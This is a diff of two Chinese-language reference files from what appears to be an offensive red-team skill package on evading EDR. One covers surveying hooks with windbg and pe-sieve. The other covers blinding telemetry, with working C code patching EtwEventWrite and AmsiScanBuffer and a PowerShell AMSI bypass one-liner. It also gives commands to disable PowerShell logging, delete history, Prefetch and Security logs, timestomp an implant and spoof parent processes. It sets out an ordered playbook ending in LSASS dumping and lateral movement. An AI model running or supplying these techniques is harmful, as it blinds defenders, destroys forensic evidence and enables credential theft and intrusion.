0: kd> dx -r1 nt!PspCreateThreadNotifyRoutine
|
|
112
|
+
0: kd> dx -r1 nt!PspLoadImageNotifyRoutine
|
|
113
|
+
|
|
114
|
+
0: kd> !object \Callback
|
|
115
|
+
0: kd> !object \Callback\ProcessObject
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
或用 PChunter / DRVHV 这类工具,普通用户可视化看 callback 列表。
|
|
119
|
+
|
|
120
|
+
## 4. 静态 dump hook 表(IDA + windbg 流程)
|
|
121
|
+
|
|
122
|
+
### 流程 A:单进程比对
|
|
123
|
+
|
|
124
|
+
```text
|
|
125
|
+
1. 找一个已被 EDR 注入用户态组件的进程(任意已存活进程)
|
|
126
|
+
2. windbg attach (-pn target.exe)
|
|
127
|
+
3. lm m ntdll → 拿到模块基址
|
|
128
|
+
4. .writemem c:\temp\ntdll_live.bin ntdll+0x0 L?<image size>
|
|
129
|
+
5. 把 C:\Windows\System32\ntdll.dll 复制为 c:\temp\ntdll_disk.dll
|
|
130
|
+
6. 在 IDA 里加载两个文件,跳到 NtAllocateVirtualMemory:
|
|
131
|
+
- disk:标准 prologue
|
|
132
|
+
- live:第一条 jmp <0x7FFE000000xx>
|
|
133
|
+
7. 跟着 jmp 目标地址 → 那就是 EDR 的 trampoline,dump 出来
|
|
134
|
+
8. 进 trampoline 看它最终落到哪个 DLL,确认 EDR 模块名
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
### 流程 B:批量 hook 表生成
|
|
138
|
+
|
|
139
|
+
用 `HookHunter` 或自写脚本:
|
|
140
|
+
|
|
141
|
+
```powershell
|
|
142
|
+
# pseudo workflow,详见 references 提到的脚本
|
|
143
|
+
$disk = Get-Content C:\Windows\System32\ntdll.dll -Encoding Byte
|
|
144
|
+
$live = # 通过 OpenProcess + ReadProcessMemory 拿
|
|
145
|
+
# 对比 .text 段每个 export 的前 16 字节
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
## 5. pe-sieve 自动检测
|
|
149
|
+
|
|
150
|
+
`pe-sieve` 是侦察 EDR hook 与 implant 自检的首选:
|
|
151
|
+
|
|
152
|
+
```powershell
|
|
153
|
+
# 基本扫描
|
|
154
|
+
pe-sieve64.exe /pid 1234
|
|
155
|
+
|
|
156
|
+
# 推荐组合(含 shellcode 与 hook 检测)
|
|
157
|
+
pe-sieve64.exe /pid 1234 /shellc 3 /modules 3 /imp 3 /data 3 /dir hooks_dump
|
|
158
|
+
|
|
159
|
+
# 关键参数:
|
|
160
|
+
# /shellc N shellcode 扫描等级 (0-3)
|
|
161
|
+
# /modules N 模块完整性检查 (0-3)
|
|
162
|
+
# /imp N IAT hook 检查
|
|
163
|
+
# /data N 数据段扫描
|
|
164
|
+
# /dir <path> dump 输出目录
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
输出会在 `hooks_dump/<pid>.<name>/` 下产生 `*.tag` 文件,列出 hook 地址:
|
|
168
|
+
|
|
169
|
+
```text
|
|
170
|
+
modified_modules.tag 示例:
|
|
171
|
+
71f10000;ntdll.dll
|
|
172
|
+
71f1a3b0;hook;jmp_far
|
|
173
|
+
71f1c020;hook;jmp_near
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
可直接喂给 IDA 跳到对应 RVA 做后续分析。
|
|
177
|
+
|
|
178
|
+
### 在 implant 中嵌入 pe-sieve(自检)
|
|
179
|
+
|
|
180
|
+
实战中常把 `pe-sieve` 编译为 lib (`libpe-sieve`),让 implant 启动时先自检:如果 ntdll 有 hook,就触发 unhook 流程;如果发现自己被 hook 反而要小心,可能在沙箱里。
|
|
181
|
+
|
|
182
|
+
## 6. API Monitor v2 动态观察
|
|
183
|
+
|
|
184
|
+
API Monitor v2(Rohitab)适合在 lab 里看 EDR 在何时何处插入 hook:
|
|
185
|
+
|
|
186
|
+
```text
|
|
187
|
+
1. 启动 API Monitor v2(管理员)
|
|
188
|
+
2. API Filter 勾选:
|
|
189
|
+
- NT Native API → Memory Management
|
|
190
|
+
- NT Native API → Process and Thread
|
|
191
|
+
- Windows Defender / AMSI(如果可见)
|
|
192
|
+
3. Monitor New Process → 选择 implant 测试样本
|
|
193
|
+
4. 观察:
|
|
194
|
+
- NtAllocateVirtualMemory 调用顺序
|
|
195
|
+
- 是否被 EDR DLL 中转
|
|
196
|
+
5. 在 Modules tab 看哪些 EDR DLL 被 LoadLibrary 注入
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
## 7. 常见 EDR DLL(用户态)速查
|
|
200
|
+
|
|
201
|
+
| DLL | 厂商 | 备注 |
|
|
202
|
+
|-----|------|------|
|
|
203
|
+
| `umppc*.dll` | Microsoft Defender | MpClient userland |
|
|
204
|
+
| `mpoav.dll` | Microsoft Defender | AMSI provider |
|
|
205
|
+
| `aswAMSI.dll` | Avast | AMSI provider |
|
|
206
|
+
| `eamsi.dll` | ESET | AMSI provider |
|
|
207
|
+
| `IDPMServiceClient.dll` | Sophos | HMPA 注入 |
|
|
208
|
+
| `klsihk64.dll` | Kaspersky | 注入到目标进程 |
|
|
209
|
+
| `CrowdStrike.Sensor.dll` | CrowdStrike | 旧版本,新版主要靠内核 |
|
|
210
|
+
| `SentinelInjection64.dll` | SentinelOne | 用户态注入 |
|
|
211
|
+
| `TmUmEvt64.dll` | Trend Micro | 行为监控 |
|
|
212
|
+
|
|
213
|
+
确认目标 EDR 后,再决定逆向哪个 DLL 取 hook 表。
|
|
214
|
+
|
|
215
|
+
## 参考链接
|
|
216
|
+
|
|
217
|
+
- pe-sieve:<https://github.com/hasherezade/pe-sieve>
|
|
218
|
+
- HollowsHunter:<https://github.com/hasherezade/hollows_hunter>
|
|
219
|
+
- API Monitor v2:<http://www.rohitab.com/apimonitor>
|
|
220
|
+
- MITRE ATT&CK T1562:<https://attack.mitre.org/techniques/T1562/>
|
|
221
|
+
- MITRE ATT&CK T1055:<https://attack.mitre.org/techniques/T1055/>
|
|
222
|
+
- ired.team EDR notes:<https://www.ired.team/offensive-security/defense-evasion>
|
|
223
|
+
|
|
224
|
+
## 路由回调
|
|
225
|
+
|
|
226
|
+
完成 hook 调研后,回到 `SKILL.md` 的 Step 3 选择绕过技术组合,然后按 `references/unhook-techniques.md` 与 `references/telemetry-blinding.md` 执行。
|
|
@@ -0,0 +1,346 @@
|
|
|
1
|
+
# 遥测致盲:ETW / AMSI / 反取证
|
|
2
|
+
|
|
3
|
+
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
|
|
4
|
+
|
|
5
|
+
EDR 的检测能力很大程度依赖 ETW(Event Tracing for Windows)与 AMSI(Antimalware Scan Interface)这两条遥测管道。
|
|
6
|
+
本文档汇总针对这两条管道的红队对策,并补充 Sysmon / PowerShell logging / 时间戳 spoof 等反取证组合。
|
|
7
|
+
|
|
8
|
+
对照 MITRE ATT&CK:T1562.001 / T1562.002 / T1562.006 / T1070 / T1027。
|
|
9
|
+
|
|
10
|
+
## 1. ETW 内部结构
|
|
11
|
+
|
|
12
|
+
ETW 是 Windows 内置的高性能事件追踪框架,EDR 用它做"轻量内核遥测"。
|
|
13
|
+
红队最关心的 provider:
|
|
14
|
+
|
|
15
|
+
| Provider GUID | 名称 | 谁在用 |
|
|
16
|
+
|--------------|------|--------|
|
|
17
|
+
| `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | Microsoft-Windows-Threat-Intelligence (ETW-TI) | Defender、MDE、第三方 EDR |
|
|
18
|
+
| `{A0C1853B-5C40-4B15-8766-3CF1C58F985A}` | Microsoft-Antimalware-Scan-Interface | Defender AMSI 上报 |
|
|
19
|
+
| `{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}` | Microsoft-Windows-Kernel-Process | 进程 / 线程基础事件 |
|
|
20
|
+
| `{2839FF94-8F12-4E1B-82E3-AF7AF77A450F}` | Microsoft-Windows-DotNETRuntime | .NET 加载、JIT |
|
|
21
|
+
| `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | .NET CLR | CLR 启动 |
|
|
22
|
+
|
|
23
|
+
### 关键用户态 API
|
|
24
|
+
|
|
25
|
+
| API | DLL | 作用 |
|
|
26
|
+
|-----|-----|------|
|
|
27
|
+
| `EtwEventWrite` | `ntdll.dll` | 写事件(最常用) |
|
|
28
|
+
| `EtwEventWriteFull` | `ntdll.dll` | 带 activity ID 的事件 |
|
|
29
|
+
| `EtwEventWriteEx` | `ntdll.dll` | 扩展版本 |
|
|
30
|
+
| `NtTraceEvent` | `ntdll.dll` | EtwEventWrite 底层 |
|
|
31
|
+
| `NtTraceControl` | `ntdll.dll` | 控制 trace session(启/停/查询 provider) |
|
|
32
|
+
| `EtwEventEnabled` | `ntdll.dll` | provider 是否启用 |
|
|
33
|
+
| `EtwEventRegister` | `ntdll.dll` | 注册 provider |
|
|
34
|
+
|
|
35
|
+
### 调用链
|
|
36
|
+
|
|
37
|
+
```text
|
|
38
|
+
应用代码 EventWrite(...)
|
|
39
|
+
→ 微软封装 (TraceLogging API)
|
|
40
|
+
→ ntdll!EtwEventWrite[Full|Ex]
|
|
41
|
+
→ ntdll!NtTraceEvent (syscall)
|
|
42
|
+
→ nt!NtTraceEvent (内核)
|
|
43
|
+
→ 内核 ETW core → 消费端(EDR 用户态进程订阅 session)
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
## 2. ETW Patch 三种方法
|
|
47
|
+
|
|
48
|
+
### 方法 A:EtwEventWrite head patch
|
|
49
|
+
|
|
50
|
+
直接把 `ntdll!EtwEventWrite` 入口改成立即返回成功:
|
|
51
|
+
|
|
52
|
+
```text
|
|
53
|
+
原始:
|
|
54
|
+
4C 8B DC mov r11, rsp
|
|
55
|
+
48 81 EC 88 00 00 00 sub rsp, 88h
|
|
56
|
+
...
|
|
57
|
+
|
|
58
|
+
patch 后(x64):
|
|
59
|
+
33 C0 xor eax, eax ; STATUS_SUCCESS = 0
|
|
60
|
+
C3 ret
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
C 代码:
|
|
64
|
+
|
|
65
|
+
```c
|
|
66
|
+
#include <windows.h>
|
|
67
|
+
|
|
68
|
+
BOOL PatchEtwEventWrite(void) {
|
|
69
|
+
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
70
|
+
if (!hNtdll) return FALSE;
|
|
71
|
+
|
|
72
|
+
FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
|
|
73
|
+
if (!pEtw) return FALSE;
|
|
74
|
+
|
|
75
|
+
BYTE patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax,eax; ret
|
|
76
|
+
DWORD oldProt = 0;
|
|
77
|
+
|
|
78
|
+
// 注意:VirtualProtect 自身可能被 hook -> 用 indirect syscall 版本
|
|
79
|
+
if (!VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt))
|
|
80
|
+
return FALSE;
|
|
81
|
+
|
|
82
|
+
memcpy(pEtw, patch, sizeof(patch));
|
|
83
|
+
|
|
84
|
+
VirtualProtect(pEtw, sizeof(patch), oldProt, &oldProt);
|
|
85
|
+
return TRUE;
|
|
86
|
+
}
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
**OPSEC 警告**:写 ntdll 内存本身是 ETW-TI 监控的 `ALPC_MODIFY_PROCESS` / `PROTECTVM` 事件源。
|
|
90
|
+
必须 **先用 indirect syscall + 绕过 NtProtectVirtualMemory hook 后再 patch**,
|
|
91
|
+
否则 patch 还没生效 EDR 就已经收到告警。
|
|
92
|
+
|
|
93
|
+
### 方法 B:EtwEventEnabled always-false
|
|
94
|
+
|
|
95
|
+
更隐蔽:不修改 `EtwEventWrite`,而是让 `EtwEventEnabled` 永远返回 FALSE,
|
|
96
|
+
应用层会自己判断 "provider 没开" → 不调用 `EtwEventWrite`,对内存 hash 完整性检查更友好(很多 EDR 校验 `EtwEventWrite` 字节)。
|
|
97
|
+
|
|
98
|
+
```c
|
|
99
|
+
// EtwEventEnabled 通常返回 BOOLEAN (1 byte)
|
|
100
|
+
BYTE patch[] = { 0x32, 0xC0, 0xC3 }; // xor al,al; ret
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### 方法 C:NtTraceControl 关 provider
|
|
104
|
+
|
|
105
|
+
用 syscall 直接关闭 EDR session(侵入式,但是不动 ntdll 字节):
|
|
106
|
+
|
|
107
|
+
```c
|
|
108
|
+
// NtTraceControl(EtwpStopTrace, ...)
|
|
109
|
+
// 需要 SeSystemProfilePrivilege 或更高
|
|
110
|
+
// 适用于 Local Admin + UAC bypass 后
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
实战中较少用,因为:
|
|
114
|
+
|
|
115
|
+
- 关 session 本身会触发"ETW provider stopped"事件被另一条管道感知
|
|
116
|
+
- 需要高权限
|
|
117
|
+
|
|
118
|
+
### 方法 D:内核态 ETW patch(仅在已有 BYOVD/内核读写时)
|
|
119
|
+
|
|
120
|
+
```text
|
|
121
|
+
nt!EtwpEventTracingProviderEnableInfo
|
|
122
|
+
nt!EtwThreatIntProvRegHandle
|
|
123
|
+
直接置 0 让所有 ETW-TI 事件被丢弃
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
属于 attack-chain 的 BYOVD 阶段,本 skill 不深入。
|
|
127
|
+
|
|
128
|
+
## 3. AMSI Bypass
|
|
129
|
+
|
|
130
|
+
AMSI 是 Windows 提供给 PowerShell / .NET / WMI / VBA 在执行脚本前做反病毒扫描的接口。
|
|
131
|
+
红队最常碰到的是 PowerShell + AMSI。
|
|
132
|
+
|
|
133
|
+
### 经典 AmsiScanBuffer Patch
|
|
134
|
+
|
|
135
|
+
```c
|
|
136
|
+
// amsi.dll!AmsiScanBuffer 入口写:
|
|
137
|
+
// mov eax, 0x80070057 ; E_INVALIDARG
|
|
138
|
+
// ret 4 ; (32位) 或 ret (64位)
|
|
139
|
+
|
|
140
|
+
BOOL PatchAmsi(void) {
|
|
141
|
+
HMODULE h = LoadLibraryA("amsi.dll");
|
|
142
|
+
if (!h) return FALSE;
|
|
143
|
+
FARPROC p = GetProcAddress(h, "AmsiScanBuffer");
|
|
144
|
+
if (!p) return FALSE;
|
|
145
|
+
|
|
146
|
+
BYTE patch64[] = {
|
|
147
|
+
0xB8, 0x57, 0x00, 0x07, 0x80, // mov eax, 0x80070057
|
|
148
|
+
0xC3 // ret
|
|
149
|
+
};
|
|
150
|
+
DWORD old = 0;
|
|
151
|
+
VirtualProtect(p, sizeof(patch64), PAGE_EXECUTE_READWRITE, &old);
|
|
152
|
+
memcpy(p, patch64, sizeof(patch64));
|
|
153
|
+
VirtualProtect(p, sizeof(patch64), old, &old);
|
|
154
|
+
return TRUE;
|
|
155
|
+
}
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
PowerShell 一句话版本(仅参考检测对抗,本身被签名 / Defender 拦截):
|
|
159
|
+
|
|
160
|
+
```powershell
|
|
161
|
+
# 概念演示——真实环境必须配合混淆 / HWBP
|
|
162
|
+
[Ref].Assembly.GetType('System.Management.Automation.'+$([char]65+'msi'+'Utils')).GetField($([char]97+'msiInitFailed'),'NonPublic,Static').SetValue($null,$true)
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
### 进阶方案 1:Hardware Breakpoint AMSI Bypass
|
|
166
|
+
|
|
167
|
+
不动 amsi.dll 内存(不会触发完整性扫描):
|
|
168
|
+
|
|
169
|
+
1. AddVectoredExceptionHandler
|
|
170
|
+
2. 在 `AmsiScanBuffer` 入口设 `DR0`
|
|
171
|
+
3. VEH 命中时设置 `RAX = 0x80070057`、`RIP = ret 指令地址`、`RSP += 8`
|
|
172
|
+
4. ContinueExecution
|
|
173
|
+
|
|
174
|
+
与 unhook-techniques.md 的 HWBP Blindside 同一套基础设施,可以共用 VEH。
|
|
175
|
+
|
|
176
|
+
### 进阶方案 2:AmsiContext / AmsiSession 损坏
|
|
177
|
+
|
|
178
|
+
构造畸形 `AmsiContext` 结构,让 `AmsiScanBuffer` 内部因为校验失败提前返回 success:
|
|
179
|
+
|
|
180
|
+
```text
|
|
181
|
+
// AmsiContext 头部应该是 "AMSI" 魔数
|
|
182
|
+
// 改成 "XXXX" → AmsiScanBuffer 内部校验失败但返回 S_OK + AMSI_RESULT_CLEAN
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### 进阶方案 3:Reflective 加载副本 amsi.dll
|
|
186
|
+
|
|
187
|
+
不用系统 amsi.dll,把一份干净副本反射加载到自己进程,并重定向 PowerShell 引擎对 AMSI 的调用。
|
|
188
|
+
适用于已经在加载阶段拦截 PowerShell.exe 启动的高级 EDR。
|
|
189
|
+
|
|
190
|
+
## 4. 反取证:清除痕迹
|
|
191
|
+
|
|
192
|
+
### PowerShell ScriptBlock Logging 关闭
|
|
193
|
+
|
|
194
|
+
```powershell
|
|
195
|
+
# 注册表(需管理员)
|
|
196
|
+
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' `
|
|
197
|
+
-Name 'EnableScriptBlockLogging' -Value 0 -Force
|
|
198
|
+
|
|
199
|
+
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' `
|
|
200
|
+
-Name 'EnableModuleLogging' -Value 0 -Force
|
|
201
|
+
|
|
202
|
+
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' `
|
|
203
|
+
-Name 'EnableTranscripting' -Value 0 -Force
|
|
204
|
+
|
|
205
|
+
# Group Policy 路径:
|
|
206
|
+
# Computer Configuration → Administrative Templates → Windows Components →
|
|
207
|
+
# Windows PowerShell → Turn on PowerShell Script Block Logging = Disabled
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
### 清 PowerShell history
|
|
211
|
+
|
|
212
|
+
```powershell
|
|
213
|
+
# 当前会话
|
|
214
|
+
Clear-History
|
|
215
|
+
# 持久化 history (PSReadLine)
|
|
216
|
+
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
### 清 Prefetch
|
|
220
|
+
|
|
221
|
+
```powershell
|
|
222
|
+
# 需要 SYSTEM
|
|
223
|
+
Remove-Item 'C:\Windows\Prefetch\implant*.pf' -Force
|
|
224
|
+
# 整体清空(动作大,慎用)
|
|
225
|
+
# Remove-Item 'C:\Windows\Prefetch\*.pf' -Force
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
### 清 ETL log
|
|
229
|
+
|
|
230
|
+
```powershell
|
|
231
|
+
# 停 session 后删 etl
|
|
232
|
+
logman stop "EventLog-Security" -ets
|
|
233
|
+
Remove-Item 'C:\Windows\System32\winevt\Logs\Security.evtx' -Force -ErrorAction SilentlyContinue
|
|
234
|
+
# 注意:直接删 .evtx 会被 Event Log Service 重新创建并写入 "log cleared" 事件 (Event ID 1102)
|
|
235
|
+
# 更隐蔽:内存中 patch wevtsvc.dll 的 EventLog API(属于 T1070.001)
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
### 时间戳 spoof (T1070.006)
|
|
239
|
+
|
|
240
|
+
```powershell
|
|
241
|
+
$f = 'C:\Windows\Temp\implant.dll'
|
|
242
|
+
$ref = 'C:\Windows\System32\notepad.exe'
|
|
243
|
+
(Get-Item $f).CreationTime = (Get-Item $ref).CreationTime
|
|
244
|
+
(Get-Item $f).LastWriteTime = (Get-Item $ref).LastWriteTime
|
|
245
|
+
(Get-Item $f).LastAccessTime = (Get-Item $ref).LastAccessTime
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
## 5. Sysmon 监控规避
|
|
249
|
+
|
|
250
|
+
Sysmon 是社区最常见的免费遥测(很多企业用 olaf 配置)。
|
|
251
|
+
关键事件:
|
|
252
|
+
|
|
253
|
+
| Event ID | 含义 |
|
|
254
|
+
|----------|------|
|
|
255
|
+
| 1 | ProcessCreate(含 PPID、CommandLine、Hash) |
|
|
256
|
+
| 7 | ImageLoad(DLL 加载) |
|
|
257
|
+
| 8 | CreateRemoteThread |
|
|
258
|
+
| 10 | ProcessAccess(OpenProcess) |
|
|
259
|
+
| 11 | FileCreate |
|
|
260
|
+
| 12/13/14 | 注册表 |
|
|
261
|
+
| 22 | DNS Query |
|
|
262
|
+
| 25 | ProcessTampering(image hollowing) |
|
|
263
|
+
|
|
264
|
+
### 规避思路
|
|
265
|
+
|
|
266
|
+
1. **不创建新进程** — 全部在已注入进程内行动,避开 Event ID 1
|
|
267
|
+
2. **PPID Spoof** — 用 `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)` 把 PPID 设为 `explorer.exe`,让 Sysmon ProcessCreate 看着合法
|
|
268
|
+
|
|
269
|
+
```c
|
|
270
|
+
STARTUPINFOEX si = {0};
|
|
271
|
+
PROCESS_INFORMATION pi = {0};
|
|
272
|
+
SIZE_T size = 0;
|
|
273
|
+
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, g_explorerPid);
|
|
274
|
+
|
|
275
|
+
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
|
|
276
|
+
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
|
277
|
+
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
|
|
278
|
+
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
|
279
|
+
UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
|
280
|
+
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
|
|
281
|
+
|
|
282
|
+
CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
|
|
283
|
+
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
3. **Unbacked memory + 不动镜像** — Process Hollowing 在新版 Sysmon 已经被 Event ID 25 捕获。
|
|
287
|
+
首选用 **module stomping**(覆盖已加载合法 DLL 的某节区)或 **dirty vanity** 等较新技术,
|
|
288
|
+
配合 PPID spoof
|
|
289
|
+
4. **不要远程线程** — 避免 Event ID 8;用 `NtCreateThreadEx` 在自己进程内执行 / APC / Early Bird APC
|
|
290
|
+
5. **DNS 走 DoH / HTTPS** — 避免 Event ID 22
|
|
291
|
+
|
|
292
|
+
## 6. Call Stack Spoof + 时间戳让事件像合法软件
|
|
293
|
+
|
|
294
|
+
即使 ProcessCreate 没办法不触发(比如某些场景必须 spawn child),可以:
|
|
295
|
+
|
|
296
|
+
- 把 CommandLine 改成与某个合法软件相似的格式
|
|
297
|
+
- PPID spoof 到 services.exe(伪装 SCM 启动的服务)
|
|
298
|
+
- 修改 ImageLoad 看到的 Image hash:通过 module stomping 把 implant 代码放进一个签名 DLL 内存空间
|
|
299
|
+
- 配合 CallStackSpoofer:Sysmon 即使开了 EnableCallTracing 也看不到 implant 帧
|
|
300
|
+
|
|
301
|
+
## 7. 实战 OPSEC:操作顺序
|
|
302
|
+
|
|
303
|
+
**顺序错了 EDR 会先收到告警**,导致后续动作直接被熔断。
|
|
304
|
+
|
|
305
|
+
正确顺序:
|
|
306
|
+
|
|
307
|
+
```text
|
|
308
|
+
1. AMSI bypass (HWBP 优先,避免写 amsi.dll)
|
|
309
|
+
─── 让 .NET / PowerShell 装载 implant 时不被扫
|
|
310
|
+
2. ETW patch (先 patch EtwEventWrite,再做任何 syscall)
|
|
311
|
+
─── 关掉自身后续动作的遥测
|
|
312
|
+
3. NtProtectVirtualMemory 用 indirect syscall 调用
|
|
313
|
+
─── 准备好"安全的"内存权限切换通道
|
|
314
|
+
4. Unhook ntdll (Peruns Fart) 或 enable indirect syscall
|
|
315
|
+
─── 抹掉用户态 hook
|
|
316
|
+
5. Call stack spoof setup
|
|
317
|
+
─── 准备好之后所有 syscall 的伪栈
|
|
318
|
+
6. 实际 payload 执行 (注入 / 横向 / dump LSASS)
|
|
319
|
+
7. 清痕迹 (PowerShell history / Prefetch / 时间戳)
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
错误顺序示例:
|
|
323
|
+
|
|
324
|
+
```text
|
|
325
|
+
❌ 先 unhook ntdll → ETW-TI 立即上报 PROTECTVM + module modification → SOC 已经收到告警
|
|
326
|
+
❌ 先 dump LSASS → AMSI / ETW 都还没压 → 高置信 T1003.001 告警
|
|
327
|
+
✅ AMSI → ETW → unhook → spoof → payload
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
## 参考资料
|
|
331
|
+
|
|
332
|
+
- ETW Threat Intelligence Provider:<https://learn.microsoft.com/en-us/windows/win32/etw/event-tracing-portal>
|
|
333
|
+
- ETW Patching 综述:<https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/>
|
|
334
|
+
- AMSI Bypass 大全:<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell>
|
|
335
|
+
- Sysmon olaf 配置:<https://github.com/olafhartong/sysmon-modular>
|
|
336
|
+
- PPID Spoofing:<https://blog.didierstevens.com/2017/03/20/>
|
|
337
|
+
- Ekko sleep mask:<https://github.com/Cracked5pider/Ekko>
|
|
338
|
+
- Foliage sleep obfuscation:<https://github.com/SecIdiot/FOLIAGE>
|
|
339
|
+
- MITRE T1562.002 (Disable Windows Event Logging):<https://attack.mitre.org/techniques/T1562/002/>
|
|
340
|
+
- MITRE T1562.006 (Indicator Blocking):<https://attack.mitre.org/techniques/T1562/006/>
|
|
341
|
+
- MITRE T1070 (Indicator Removal):<https://attack.mitre.org/techniques/T1070/>
|
|
342
|
+
|
|
343
|
+
## 路由回调
|
|
344
|
+
|
|
345
|
+
完成本三件套(hook 调研 → unhook → telemetry 致盲)后,回到 `SKILL.md` Step 5 在 sandbox 验证,
|
|
346
|
+
然后按 `attack-chain/` 的 initial access 与 lateral movement 章节进入下一阶段。
|